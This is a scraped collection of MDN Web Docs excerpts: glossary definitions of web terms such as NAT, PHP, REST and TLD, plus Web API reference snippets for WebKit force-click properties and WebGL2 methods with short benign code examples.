NAT - MDN Web Docs Glossary: Definitions of Web-related terms
NAT (Network Address Translation) is a technique for letting multiple computers share an IP address. NAT assigns unique addresses to each computer on the local network and adjusts incoming/outgoing network traffic to send data to the right place. Learn more General knowledge
WebRTC protocols NAT on Wikipedia ...
Native - MDN Web Docs Glossary: Definitions of Web-related terms
A native application has been compiled to run on the hardware/software environment that comprises the targeted architecture. An example of a native Android app would be a mobile application written in Java using the Android toolchain. On the other hand, a
Web App that runs inside a browser is not native -- it is run in the
web browser, which sits on top of the native environment, not the native environment itself. Learn more General knowledge Native (computing) on Wikipedia ...
Network throttling - MDN Web Docs Glossary: Definitions of Web-related terms
Network throttling is an intentional slowing down of internet speed. In
web performance, network throttling, or network condition emulation, it is used to emulate low bandwidth conditions experienced by likely a large segment of a site's target user base. It's important not to overlook network conditions users experience on mobile. The internet speeds for developers creating
web applications in a corporate office building on a powerful computer are generally very fast. As a developer, tech writer, or designer, this is likely your experience. The network speeds of a mobile user accessing that
web application, possibly while traveling or in a remote area with poor data plan covereage, will likely be very slow, if they are able to get online at all. Network throttling enables a develop...
Node.js - MDN Web Docs Glossary: Definitions of Web-related terms
Node.js is a cross-platform JavaScript runtime environment that allows developers to build server-side and network applications with JavaScript. Learn more General Knowledge Node.js on Wikipedia Node.js
website Technical information API reference documentation Tutorials ...
PHP - MDN Web Docs Glossary: Definitions of Web-related terms
PHP (a recursive initialism for PHP: Hypertext Preprocessor) is an open-source server-side scripting language that can be embedded into HTML to build
web applications and dynamic
websites. Examples Basic syntax // start of PHP code <?php // PHP code goes here ?> // end of PHP code Printing data on screen <?php echo "Hello World!"; ?> PHP variables <?php // variables $nome='Danilo'; $sobrenome='Santos'; $pais='Brasil'; $email='danilocarsan@gmailcom'; // printing the variables echo $nome; echo $sobrenome; echo $pais; echo $email; ?> ...
Page load time - MDN Web Docs Glossary: Definitions of Web-related terms
Page load time is the time it takes for a page to load, measured from navigation start to the start of the load event. let time = performance.timing; let pageloadtime = time.loadEventStart - time.navigationStart; While page load time 'sounds' like the perfect
web performance metric, it isn't. Load times can vary greatly between users depending on device capabilities, network conditions, and, to a lesser extent, distance from the server. The development environment, where page load time is measured, is likely an optimal experience, not reflective of your users' reality. In addition,
web performance isn't just about when the load event happens. It's also about perceived performance, responsiveness, jank and jitter. ...
Prefetch - MDN Web Docs Glossary: Definitions of Web-related terms
n that the content will likely be requested, enabling the content to load instantly if and when the user requests it. The content is downloaded and cached for anticipated future use without the user making an explicit request for it. DNS Prefetching Domain lookups can be slow, especially with network latency on mobile phones. They are most relevant when there are a plethora of links to external
websites that may be clicked on, like search engine results, DNS prefetching resolves domain names in advance thereby speeding up load times by reducing the time associated with domain lookup at request time. <link rel="dns-prefetch" href="https://example.com/"> Link prefetching Link prefetching is a performance optimization technique that works by assuming which links the user is likely to click,...
Progressive Enhancement - MDN Web Docs Glossary: Definitions of Web-related terms
st modern browsers that can run all the required code. Feature detection is generally used to determine whether browsers can handle more modern functionality, while polyfills are often used to add missing features with JavaScript. Special notice should be taken of accessibility. Acceptable alternatives should be provided where possible. Progressive enhancement is a useful technique that allows
web developers to focus on developing the best possible
websites while making those
websites work on multiple unknown user agents. Graceful degradation is related but is not the same thing and is often seen as going in the opposite direction to progressive enhancement. In reality both approaches are valid and can often complement one another. Learn more General knowledge Progressive enhancement ...
Proxy server - MDN Web Docs Glossary: Definitions of Web-related terms
A proxy intercepts requests and serves back responses; it may forward the requests, or not (for example in the case of a cache), and it may modify it (for example changing its headers, at the boundary between two networks). A proxy can be on the user's local computer, or anywhere between the user's computer and a destination server on the Internet. ...
Python - MDN Web Docs Glossary: Definitions of Web-related terms
Python is a high level general-purpose programming language. It uses a multi-paradigm approach, meaning it supports procedural, object-oriented, and some functional programming constructs. It was created by Guido van Rossum as a successor to another language (called ABC) between 1985 and 1990, and is currently used on a large array of domains like
web development, desktop applications, data science, DevOps, and automation/productivity. Python is developed under an OSI-approved open source license, making it freely usable and distributable, even for commercial use. Python's license is administered by the Python Software Foundation. ...
QUIC - MDN Web Docs Glossary: Definitions of Web-related terms
As TCP is built into the kernel of many operating systems being able to experiment with changes, test them and implement modifications is an extremely slow process. The creation of QUIC allows developers to conduct experiments and try new things faster. QUIC was designed to support the semantics of HTTP/2. ...
RDF - MDN Web Docs Glossary: Definitions of Web-related terms
RDF (Resource Description Framework) is a language developed by W3C for representing information on the World Wide
Web, such as
Webpages. RDF provides a standard way of encoding resource information so that it can be exchanged in a fully automated way between applications. Learn more General knowledge Resource Description Framework on Wikipedia ...
REST - MDN Web Docs Glossary: Definitions of Web-related terms
is called RESTful when it adhere to those constraints. The basic idea of REST is that a resource, e.g. a document, is transferred with its state and relationships via well-defined, standarized operations and formats or services call themselves RESTful when they directly modify type of document as opposed to triggering actions somewhere. Because HTTP, the standard protocol hehind the "World Wide
Web", "
Web" also transfers documents and hypertext links, simple HTTP APIs are sometimes colloguially referred to as RESTful APIs, RESTful services, or simply REST services, although they don't necessarily adhere to all REST constraints. Beginners can assume a REST API means an HTTP service that can be called using standard
web libraries and tools. Learn about it restapitutorial.com restcookbook...
RGB - MDN Web Docs Glossary: Definitions of Web-related terms
e different intensities (or contributions) of red, green, and blue, in determining the final color. There are many ways to describe the RGB components of a color. In CSS they can be represented as a single 24-bit integer in hexadecimal notation (for example, #add8e6 is light blue), or in functional notation as three separate 8-bit integers (for example, rgb(46, 139, 87) is sea green). In OpenGL,
WebGL, and GLSL the red-green-blue components are fractions (floating-point numbers between 0.0 and 1.0), although in the actual color buffer they are typically stored as 8-bit integers. Graphically, a color can be represented as a point in a three-dimensional grid or cube, where each dimension (or axis) corresponds to a different channel. Learn more General knowledge RGB color model on Wikipe...
RSS - MDN Web Docs Glossary: Definitions of Web-related terms
RSS (Really Simple Syndication) refers to several XML document formats designed for publishing site updates. When you subscribe to a
website's RSS feed, the
website sends information and updates to your RSS reader in an RSS document called a feed, so you don't need to check all your favorite
websites manually. Learn more General knowledge RSS on Wikipedia Technical reference Latest specification ...
RTP (Real-time Transport Protocol) and SRTP (Secure RTP) - MDN Web Docs Glossary: Definitions of Web-related terms
The Real-time Transport Protocol (RTP) is a network protocol which described how to transmit various media (audio, video) from one endpoint to another in a real-time fashion. RTP is suitable for video-streaming application, telephony over IP like Skype and conference technologies. The secure version of RTP, SRTP, is used by
WebRTC, and uses encryption and authentication to minimize the risk of denial-of-service attacks and security breaches. RTP is rarely used alone; instead, it is used in conjunction with other protocols like RTSP and SDP. Learn more General knowledge Introduction to the Real-time Transport Protocol RTP on Wikipedia RFC 3550 (one of the documents that specify precisely how the protocol works) ...
Raster image - MDN Web Docs Glossary: Definitions of Web-related terms
A raster image is an image file defined as a grid of pixels. They're also referred to as bitmaps. Common raster image formats on the
Web are JPEG, PNG, GIF, and ICO. Raster image files usually contain one set of dimensions, but the ICO and CUR formats, used for favicons and CSS cursor images, can contain multiple sizes. ...
Regular expression - MDN Web Docs Glossary: Definitions of Web-related terms
Regular expressions (or regex) are rules that govern which sequences of characters come up in a search. Regular expressions are implemented in various languages, but the best-known implementation is the Perl Implementation, which has given rise to its own ecosystem of implementations called PCRE (Perl Compatible Regular Expression). On the
Web, JavaScript provides another regex implementation through the RegExp object. Learn more General knowledge Regular expressions on Wikipedia Interactive tutorial Visualized Regular Expression Technical reference Writing regular expressions in JavaScript ...
Response header - MDN Web Docs Glossary: Definitions of Web-related terms
Content-Type: text/html; charset=utf-8 Date: Mon, 18 Jul 2016 16:06:00 GMT Etag: "c561c68d0ba92bbeb8b0f612a9199f722e3a621a" Keep-Alive: timeout=5, max=997 Last-Modified: Mon, 18 Jul 2016 02:36:04 GMT Server: Apache Set-Cookie: mykey=myvalue; expires=Mon, 17-Jul-2017 16:06:00 GMT; Max-Age=31449600; Path=/; secure Transfer-Encoding: chunked Vary: Cookie, Accept-Encoding X-Backend-Server: developer2.
webapp.scl3.mozilla.com X-Cache-Info: not cacheable; meta data too large X-kuma-revision: 1085259 x-frame-options: DENY ...
SGML - MDN Web Docs Glossary: Definitions of Web-related terms
The Standard Generalized Markup Language (SGML) is an ISO specification for defining declarative markup languages. On the
web, HTML 4, XHTML, and XML are popular SGML-based languages. It is worth noting that since its fifth edition, HTML is no longer SGML-based and has its own parsing rules. Learn more SGML on Wikipedia Introduction to SGML ...
SLD - MDN Web Docs Glossary: Definitions of Web-related terms
ocated right before a TLD. For example, in mozilla.org, mozilla is the second-level domain of the .org TLD. A domain name is not limited to a TLD and an SLD. Additional subdomains can be created in order to provide additional information about various functions of a server or to delimit areas under the same domain. For example, www is a commonly used subdomain to indicate the domain points to a
web server. As another example, in developer.mozilla.org, the developer subdomain is used to specify that the subdomain contains the developer section of the Mozilla
website. ...
SPA (Single-page application) - MDN Web Docs Glossary: Definitions of Web-related terms
An SPA (Single-page application) is a
web app implemention that loads only a single
web document, and then updates the body content of that single document via JavaScript APIs such as XMLHttpRequest and Fetch when different content is to be shown. This therefore allows users to use
websites without loading whole new pages from the server, which can result in performance gains and a more dynamic experience, with some tradeoff disadvantages such as SEO, more effort required to maintain state, implement navigation, and do meaningful performance monitoring. Learn more General knowledge Some of the most popular SPA frameworks include: React Angular Vue.JS ...
STUN - MDN Web Docs Glossary: Definitions of Web-related terms
STUN (Session Traversal Utilities for NAT) is an auxiliary protocol for transmitting data around a NAT (Network Address Translator). STUN returns the IP address, port, and connectivity status of a networked computer behind a NAT. Learn more General knowledge STUN on Wikipedia
WebRTC protocols Technical reference Specification ...
Second-level Domain - MDN Web Docs Glossary: Definitions of Web-related terms
ocated right before a TLD. For example, in mozilla.org, mozilla is the second level domain of the .org TLD. A domain name is not limited to a TLD and an SLD. Additional subdomains can be created in order to provide additional information about various functions of a server or to delimit areas under the same domain. For example, www is a commonly used subdomain to indicate the domain points to a
web server. As another example, in developer.mozilla.org, the developer subdomain is used to specify that the subdomain contains the developer section of the mozilla
website. Learn more General knowledge SLD on Wikipedia ...
Site - MDN Web Docs Glossary: Definitions of Web-related terms
The site of a piece of
web content is determined by the registrable domain of the host within the origin. This is computed by consulting a Public Suffix List to find the portion of the host which is counted as the public suffix (e.g. com, org or co.uk). The concept of a site is used in SameSite cookies, as well as a
web application's Cross-Origin Resource Policy. Examples of the same site https://developer.mozilla.org/docs/ https://support.mozilla.org/ same site because the registrable domain of mozilla.org is the same http://example.com:8080 https://example.com same site because scheme and port are not relevant Examples of different site https://developer.mozilla.org/docs/ https://example.com not same site because the registr...
Site map - MDN Web Docs Glossary: Definitions of Web-related terms
A site map or sitemap is a list of pages of a
web site. Structured listings of a site's page help with search engine optimization, providing a link for
web crawlers such as search engines to follow. Site maps also help users with site navigation by providing an overview of a site's content in a single glance. ...
Style origin - MDN Web Docs Glossary: Definitions of Web-related terms
In CSS, there are three categories of sources for style changes. These categories are called style origins. They are the user agent origin, user origin, and the author origin. User-agent origin The user agent origin is the style origin comprised of the default styles used by the user's
web browser. If no other styles are applied to content, the user agent origin's styles are used while rendering elements. User origin The user origin is the style origin containing any CSS that the user of the
web browser has added. These may be from adding styles using a developer tool or from a browser extension that automatically applies custom styles to content, such as Stylus or Stylish. Author origin The author origin is the style origin which contains all of the styles which are part of...
Synthetic monitoring - MDN Web Docs Glossary: Definitions of Web-related terms
'laboratory' environment, typically with automation tooling in an environment that is as consistent as possible. With a consistent baseline, synthetic monitoring is good for measuring the effects of code changes on performance. However, it doesn't necessarily reflect what users are experiencing. Synthetic Monitoring involves deploying scripts to simulate the path an end-user might take through a
web application, reporting back the performance of the simulator experiences. Examples of popular synthetic monitoring tools include
WebPageTest and Lighthouse. The traffic measured is not of your actual users, but rather synthetically generated traffic collecting data on page performance. Unlike RUM, synthetic monitoring provides a narrow view of performance that doesn't account for user difference...
TLD - MDN Web Docs Glossary: Definitions of Web-related terms
omain in the Internet's hierarchical DNS (domain name system). A TLD is the final component of a domain name, for example, "org" in developer.mozilla.org. ICANN (Internet Corporation for Assigned Names and Numbers) designates organizations to manage each TLD. Depending on how strict an administrating organization might be, TLD often serves as a clue to the purpose, ownership, or nationality of a
website. Consider an example Internet address: https://developer.mozilla.org Here org is the TLD; mozilla.org is the second-level domain name; and developer is a subdomain name. All together, these constitute a fully-qualified domain name; the addition of https:// makes this a complete URL. IANA today distinguishes the following groups of top-level domains: country-code top-level domains (ccTLD...
Time to interactive - MDN Web Docs Glossary: Definitions of Web-related terms
Time to Interactive (TTI) is a non-standardized
web performance 'progress' metric defined as the point in time when the last Long Task finished and was followed by 5 seconds of network and main thread inactivity. TTI, proposed by the
Web Incubator Community Group in 2018, is intended to provide a metric that describes when a page or application contains useful content and the main thread is idle and free to respond to user interactions, including having event handlers registered. Caveat: TTI is derived by leveraging information from the Long Tasks API. Although available in some performance monitoring tools, TTI is not a part of any official
web specification at the time of writing. ...
UI - MDN Web Docs Glossary: Definitions of Web-related terms
User Interface (UI) is anything that facilitates the interaction between a user and a machine. In the world of computers, it can be anything from a keyboard, a joystick, a screen or a program. In case of computer software, it can be a command-line prompt, a
webpage, a user input form, or the front-end of any application. Learn More General Knowledge User interface on Wikipedia Front end development on Wikipedia ...
URI - MDN Web Docs Glossary: Definitions of Web-related terms
A URI (Uniform Resource Identifier) is a string that refers to a resource. The most common are URLs, which identify the resource by giving its location on the
Web. URNs, by contrast, refer to a resource by a name, in a given namespace, such as the ISBN of a book. Learn more General knowledge URI on Wikipedia RFC 3986 on URI ...
URL - MDN Web Docs Glossary: Definitions of Web-related terms
In the context of HTTP, URLs are called "
Web address" or "link". Your browser displays URLs in its address bar, for example: https://developer.mozilla.org Some browsers display only the part of a URL after the "//", that is, the Domain name. URLs can also be used for file transfer (FTP) , emails (SMTP), and other applications. ...
UX - MDN Web Docs Glossary: Definitions of Web-related terms
UX is an acronym that stands for User eXperience. It is the study of the interaction between users and a system. Its goal is to make a system easy to interact with from the user's point of view. The system can be any kind of product or application that an end user is meant to interact with. UX studies undertaken on a
web page for example can demonstrate whether it is easy for users to understand the page, navigate to different areas, and complete common tasks, and where such processes could have less friction. Learn more General knowledge User experience on Wikipedia ...
Unicode - MDN Web Docs Glossary: Definitions of Web-related terms
ic alphabet. If it was not clearly marked which parts of the data were in which character set, other programs and computers would display the text incorrectly, or damage it during processing. If you've ever seen text where characters like curly quotes ("") were replaced with gibberish like A,AGBP, then you've seen this problem, known as Mojibake. The most common Unicode character encoding on the
Web is UTF-8. Other encodings exist, like UTF-16 or the obsolete UCS-2, but UTF-8 is recommended. Learn more Unicode on Wikipedia The Unicode Standard: A Technical Introduction ...
XML - MDN Web Docs Glossary: Definitions of Web-related terms
on XML as data-description languages. XML tags resemble HTML tags, but XML is much more flexible because it lets users define their own tags. In this way XML acts like a meta-language--that is, it can be used to define other languages, such as RSS. Moreover, HTML is a presentation language, whereas XML is a data-description language. This means that XML has far broader applications than just the
Web. For example,
Web services can use XML to exchange requests and responses. Learn more XML introduction ...
beacon - MDN Web Docs Glossary: Definitions of Web-related terms
A
web beacon is a small object, such as a 1 pixel gif, embedded in markup, used to communicate information back to the
web server or to 3rd party servers. Beacons are generally included to provide information about the user for statistical purposes. Beacons are often included within third party scripts for collecting user data, performance metrics and error reporting. There is a W3C Draft Beacon Specification to standardize the beacon as an interface to asynchronously transfer HTTP data from User Agent to a
web server prior to page load without negative performance impact. See Also Real User Monitoring (RUM) ...
caret - MDN Web Docs Glossary: Definitions of Web-related terms
A caret (sometimes called a "text cursor") is an indicator displayed on the screen to indicate where text input will be inserted. Most user interfaces represent the caret using a thin vertical line or a character-sized box that flashes, but this can vary. This point in the text is called the insertion point. The word "caret" differentiates the text insertion point from the mouse cursor. On the
web, a caret is used to represent the insertion point in <input> and <textarea> elements, as well as any elements whose contenteditable attribute is set, thereby allowing the contents of the element to be edited by the user. Learn more General knowledge Caret navigation on Wikipedia CSS related to the caret You can set the color of the caret for a given element's editable content by setting t...
Glyph - MDN Web Docs Glossary: Definitions of Web-related terms
A glyph is a term used in typography for the visual representation of one or more characters. The fonts used by a
website contain different sets of glyphs, which represent the characters of the font. Learn more General knowledge Glyph on Wikipedia Glyph, character and grapheme on Quora ...
jQuery - MDN Web Docs Glossary: Definitions of Web-related terms
); The above code carries out the same function as the following code: window.onload = function() { alert("Hello World!"); document.getElementById("blackBox").style.display = "none"; }; Or: window.addEventListener("load", () => { alert("Hello World!"); document.getElementById("blackBox").style.display = "none"; }); Learn more General knowledge jQuery on Wikipedia jQuery Official
Website Technical information Offical API reference documentation ...
minification - MDN Web Docs Glossary: Definitions of Web-related terms
Minification is the process of removing unnecessary or redundant data without affecting how a resource is processed by the browser. Minification can include the removal of code comments, white space, and unused code, as well as the shortening of variable and function names. Minification is used to improve
web performance by reducing file size. It is generally an automated step that occurs at build time. As minification makes code less legible to humans, developer tools have 'prettification' features that can add white space back into the code to make it a bit more legible. ...
User agent - MDN Web Docs Glossary: Definitions of Web-related terms
Along with each request they make to the server, browsers include a self-identifying User-Agent HTTP header called a user agent (UA) string. This string often identifies the browser, its version number, and its host operating system. Spam bots, download managers, and some browsers often send a fake UA string to announce themselves as a different client. This is known as user agent spoofing. ...
Viewport - MDN Web Docs Glossary: Definitions of Web-related terms
Content outside the viewport is not visible onscreen until scrolled into view. The portion of the viewport that is currently visible is called the visual viewport. This can be smaller than the layout viewport, such as when the user has pinched-zoomed. The layout viewport remains the same, but the visual viewport became smaller. ...
Understanding client-side web development tools - Learn web development
sing package managers, and control them using the command line. We finish up by providing a complete toolchain example showing you how to get productive. Get started now, with our "Client-side tooling overview" Prerequisites You should really learn the basics of the core HTML, CSS, and JavaScript languages first before attempting to use the tools detailed here. Looking to become a front-end
web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Guides 1. Client-side tooling overview In this article we provide an overview of modern
web tooling, what kinds of tools are available and where you'll meet them in the lifecycle of
web app development, and how to find help with individual tools. 2. Command...
Element: webkitmouseforcedown event - Web APIs
After a mousedown event has been fired at the element, if and when sufficient pressure has been applied to the mouse or trackpad button to qualify as a "force click," Safari begins sending
webkitmouseforcedown events to the element. Bubbles Unknown Cancelable Unknown Interface MouseEvent
webkitmouseforcedown is a proprietary,
WebKit-specific event. It is part of the Force Touch events feature. Specifications Not part of any specification. Apple has a description at the Mac Developer Library. ...
MouseEvent.WEBKIT_FORCE_AT_FORCE_MOUSE_DOWN - Web APIs
Non-standard This feature is non-standard and is not on a standards track. Do not use it on production sites facing the
Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future. MouseEvent.
WEBKIT_FORCE_AT_FORCE_MOUSE_DOWN is a proprietary,
WebKit-specific, static numeric property whose value is the minimum force necessary for a force click. Because
WEBKIT_FORCE_AT_FORCE_MOUSE_DOWN is a static property of MouseEvent, you always use it as MouseEvent.
WEBKIT_FORCE_AT_FORCE_MOUSE_DOWN, rather than as a property of a MouseEvent instance. Specifications Not part of any specification. Apple has a description at the Mac Developer Library. ...
MouseEvent.WEBKIT_FORCE_AT_MOUSE_DOWN - Web APIs
Non-standard This feature is non-standard and is not on a standards track. Do not use it on production sites facing the
Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future. MouseEvent.
WEBKIT_FORCE_AT_MOUSE_DOWN is a proprietary,
WebKit-specific, static numeric property whose value is the minimum force necessary for a normal click. Because
WEBKIT_FORCE_AT_MOUSE_DOWN is a static property of MouseEvent, you always use it as MouseEvent.
WEBKIT_FORCE_AT_MOUSE_DOWN, rather than as a property of a MouseEvent instance. Specifications Not part of any specification. Apple has a description at the Mac Developer Library. ...
MouseEvent.webkitForce - Web APIs
Non-standard This feature is non-standard and is not on a standards track. Do not use it on production sites facing the
Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future. MouseEvent.
webkitForce is a proprietary,
WebKit-specific numeric property whose value represents the amount of pressure that is being applied on the touchpad or touchscreen. Specifications Not part of any specification. Apple has a description at the Mac Developer Library. ...
WEBGL_lose_context.restoreContext() - Web APIs
The
WEBGL_lose_context.restoreContext() method is part of the
WebGL API and allows you to simulate restoring the context of a
WebGLRenderingContext object. Syntax gl.getExtension('
WEBGL_lose_context').restoreContext(); Errors thrown INVALID_OPERATION if the context was not lost. Examples With this method, you can simulate the
webglcontextrestored event: var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); canvas.addEventListener('
webglcontextrestored', function(e) { console.log(e); }, false); gl.getExtension('
WEBGL_lose_context').restoreContext(); Specifications Specification Status Comment
WEBGL_lose_contextThe definition of '
WEBGL_lose_context.loseContext' in that specification. Recommendation Initial definition...
WebGL2RenderingContext.bindBufferBase() - Web APIs
The
WebGL2RenderingContext.bindBufferBase() method of the
WebGL 2 API binds a given
WebGLBuffer to a given binding point (target) at a given index. Syntax void gl.bindBufferBase(target, index, buffer); Parameters target A Glenum specifying the target for the bind operation. Possible values: gl.TRANSFORM_FEEDBACK_BUFFER gl.UNIFORM_BUFFER index A GLuint specifying the index of the target. buffer A
WebGLBuffer which to bind to the binding point (target). Return value None. Examples gl.bindBufferBase(gl.TRANSFORM_FEEDBACK_BUFFER, 0, buffer); Specifications Specification Status Comment
WebGL 2.0The definition of 'bindBufferBase' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definit...
WebGL2RenderingContext.bindTransformFeedback() - Web APIs
The
WebGL2RenderingContext.bindTransformFeedback() method of the
WebGL 2 API binds a passed
WebGLTransformFeedback object to the current GL state. Syntax void gl.bindTransformFeedback(target, transformFeedback); Parameters target A GLenum specifying the target (binding point). Must be gl.TRANSFORM_FEEDBACK. transformFeedback A
WebGLTransformFeedback object to bind. Return value None. Examples var transformFeedback = gl.createTransformFeedback(); gl.bindTransformFeedback(gl.TRANSFORM_FEEDBACK, transformFeedback); Specifications Specification Status Comment
WebGL 2.0The definition of 'bindTransformFeedback' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glBindTransformFeedbac...
WebGL2RenderingContext.createVertexArray() - Web APIs
The
WebGL2RenderingContext.createVertexArray() method of the
WebGL 2 API creates and initializes a
WebGLVertexArrayObject object that represents a vertex array object (VAO) pointing to vertex array data and which provides names for different sets of vertex data. Syntax
WebGLVertexArrayObject gl.createVertexArray(); Parameters None. Return value A
WebGLVertexArrayObject representing a vertex array object (VAO) which points to vertex array data. Examples var vao = gl.createVertexArray(); gl.bindVertexArray(vao); // ... // calls to bindBuffer or vertexAttribPointer // which will be "recorded" in the VAO // ... Specifications Specification Status Comment
WebGL 2.0The definition of 'createVertexArray' in that specification. Editor's Draft Initi...
WebGL2RenderingContext.deleteTransformFeedback() - Web APIs
The
WebGL2RenderingContext.deleteTransformFeedback() method of the
WebGL 2 API deletes a given
WebGLTransformFeedback object. Syntax void gl.deleteTransformFeedback(transformFeedback); Parameters transformFeedback A
WebGLTransformFeedback object to delete. Return value None. Examples gl must be a
WebGL2RenderingContext.
WebGLTransformFeedback objects are not available in
WebGL 1. var transformFeedback = gl.createTransformFeedback(); // ... gl.deleteTransformFeedback(transformFeedback); Specifications Specification Status Comment
WebGL 2.0The definition of 'deleteTransformFeedback' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glDeleteTransformFeedbacks' in that specificat...
WebGL2RenderingContext.getActiveUniformBlockName() - Web APIs
The
WebGL2RenderingContext.getActiveUniformBlockName() method of the
WebGL 2 API retrieves the name of the active uniform block at a given index within a
WebGLProgram. Syntax DOMString gl.getActiveUniformBlockName(program, uniformBlockIndex); Parameters program A
WebGLProgram containing the uniform block. uniformBlockIndex A GLuint specifying the index of the uniform block to whose name to retrieve. Return value A DOMString indicating the active uniform block name. Examples var blockName = gl.getActiveUniformBlockName(program, 0); Specifications Specification Status Comment
WebGL 2.0The definition of 'getActiveUniformBlockName' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'g...
WebGL2RenderingContext.getUniformIndices() - Web APIs
The
WebGL2RenderingContext.getUniformIndices() method of the
WebGL 2 API retrieves the indices of a number of uniforms within a
WebGLProgram. Syntax sequence<GLuint> gl.getUniformIndices(program, uniformNames); Parameters program A
WebGLProgram containing uniforms whose indices to query. uniformNames An Array of DOMString specifying the names of the uniforms to query. Return value An Array of GLuint containing the uniform indices. Examples var uniformIndices = gl.getUniformIndices(program, ['UBORed', 'UBOGreen', 'UBOBlue']); Specifications Specification Status Comment
WebGL 2.0The definition of 'getUniformIndices' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glGetUniformIn...
WebGL2RenderingContext.pauseTransformFeedback() - Web APIs
The
WebGL2RenderingContext.pauseTransformFeedback() method of the
WebGL 2 API pauses a transform feedback operation. Syntax void gl.pauseTransformFeedback(); Parameters None. Return value None. Examples var transformFeedback = gl.createTransformFeedback(); gl.bindTransformFeedback(gl.TRANSFORM_FEEDBACK, transformFeedback); gl.beginTransformFeedback(gl.TRIANGLES); gl.pauseTransformFeedback(); //... gl.resumeTransformFeedback(); gl.drawArrays(gl.TRIANGLES, 0, 3); gl.endTransformFeedback(); Specifications Specification Status Comment
WebGL 2.0The definition of 'pauseTransformFeedback' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glPauseTransformFeedback' in that specification. ...
WebGL2RenderingContext.readBuffer() - Web APIs
The
WebGL2RenderingContext.readBuffer() method of the
WebGL 2 API selects a color buffer as the source for pixels for subsequent calls to copyTexImage2D, copyTexSubImage2D, copyTexSubImage3D or readPixels. Syntax void gl.readBuffer(src); Parameters src A GLenum specifying a color buffer. Possible values: gl.BACK: Reads from the back color buffer. gl.NONE: Reads from no color buffer. gl.COLOR_ATTACHMENT{0-15}: Reads from one of the 16 color attachment buffers. Return value None. Examples gl.readBuffer(gl.COLOR_ATTACHMENT0); Specifications Specification Status Comment
WebGL 2.0The definition of 'readBuffer' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glReadBuffer'...
WebGL2RenderingContext.resumeTransformFeedback() - Web APIs
The
WebGL2RenderingContext.resumeTransformFeedback() method of the
WebGL 2 API resumes a transform feedback operation. Syntax void gl.resumeTransformFeedback(); Parameters None. Return value None. Examples var transformFeedback = gl.createTransformFeedback(); gl.bindTransformFeedback(gl.TRANSFORM_FEEDBACK, transformFeedback); gl.beginTransformFeedback(gl.TRIANGLES); gl.pauseTransformFeedback(); //... gl.resumeTransformFeedback(); gl.drawArrays(gl.TRIANGLES, 0, 3); gl.endTransformFeedback(); Specifications Specification Status Comment
WebGL 2.0The definition of 'resumeTransformFeedback' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glResumeTransformFeedback' in that specification...
WebGL2RenderingContext.uniformBlockBinding() - Web APIs
The
WebGL2RenderingContext.uniformBlockBinding() method of the
WebGL 2 API assigns binding points for active uniform blocks. Syntax void gl.uniformBlockBinding(program, uniformBlockIndex, uniformBlockBinding); Parameters program A
WebGLProgram containing the active uniform block whose binding to assign. uniformBlockIndex A GLuint specifying the index of the active uniform block within the program. uniformBlockBinding A GLuint specifying the binding point to which to bind the uniform block. Return value None. Examples gl.uniformBlockBinding(program, 0, 1); Specifications Specification Status Comment
WebGL 2.0The definition of 'uniformBlockBinding' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.
WebGLActiveInfo.name - Web APIs
The read-only
WebGLActiveInfo.name property represents the name of the requested data returned by calling the getActiveAttrib() or getActiveUniform() methods. Examples var activeAttrib = gl.getActiveAttrib(program, index); activeAttrib.name; var activeUniform = gl.getActiveUniform(program, index); activeUniform.name; Specifications Specification Status Comment
WebGL 1.0The definition of '
WebGLActiveInfo.name' in that specification. Recommendation Initial definition. ...
WebGLActiveInfo.size - Web APIs
The read-only
WebGLActiveInfo.size property is a Number representing the size of the requested data returned by calling the getActiveAttrib() or getActiveUniform() methods. Examples var activeAttrib = gl.getActiveAttrib(program, index); activeAttrib.size; var activeUniform = gl.getActiveUniform(program, index); activeUniform.size; Specifications Specification Status Comment
WebGL 1.0The definition of '
WebGLActiveInfo.size' in that specification. Recommendation Initial definition. ...
WebGLActiveInfo.type - Web APIs
The read-only
WebGLActiveInfo.type property represents the type of the requested data returned by calling the getActiveAttrib() or getActiveUniform() methods. Examples var activeAttrib = gl.getActiveAttrib(program, index); activeAttrib.type; var activeUniform = gl.getActiveUniform(program, index); activeUniform.type; Specifications Specification Status Comment
WebGL 1.0The definition of '
WebGLActiveInfo.type' in that specification. Recommendation Initial definition. ...
WebGLBuffer - Web APIs
The
WebGLBuffer interface is part of the
WebGL API and represents an opaque buffer object storing data such as vertices or colors. Description The
WebGLBuffer object does not define any methods or properties of its own and its content is not directly accessible. When working with
WebGLBuffer objects, the following methods of the
WebGLRenderingContext are useful:
WebGLRenderingContext.bindBuffer()
WebGLRenderingContext.createBuffer()
WebGLRenderingContext.deleteBuffer()
WebGLRenderingContext.isBuffer() Examples Creating a buffer var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); var buffer = gl.createBuffer(); Specifications Specification Status Comment
WebGL 1.0The definition of '
WebGLBuffer' in that specification. R...
WebGLContextEvent.statusMessage - Web APIs
The read-only
WebGLContextEvent.statusMessage property contains additional event status information, or is an empty string if no additional information is available. Examples The statusMessage property can contain a platform dependent string with details of an event. This can occur, for example, if the
webglcontextcreationerror event is fired. var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); canvas.addEventListener('
webglcontextcreationerror', function(e) { console.log('
WebGL context creation failed:' + e.statusMessage || 'Unknown error'); }, false); Specifications Specification Status Comment
WebGL 1.0The definition of '
WebGLContextEvent.statusMessage' in that specification. Recommendation Initial defin...
WebGLRenderingContext.drawingBufferHeight - Web APIs
The read-only
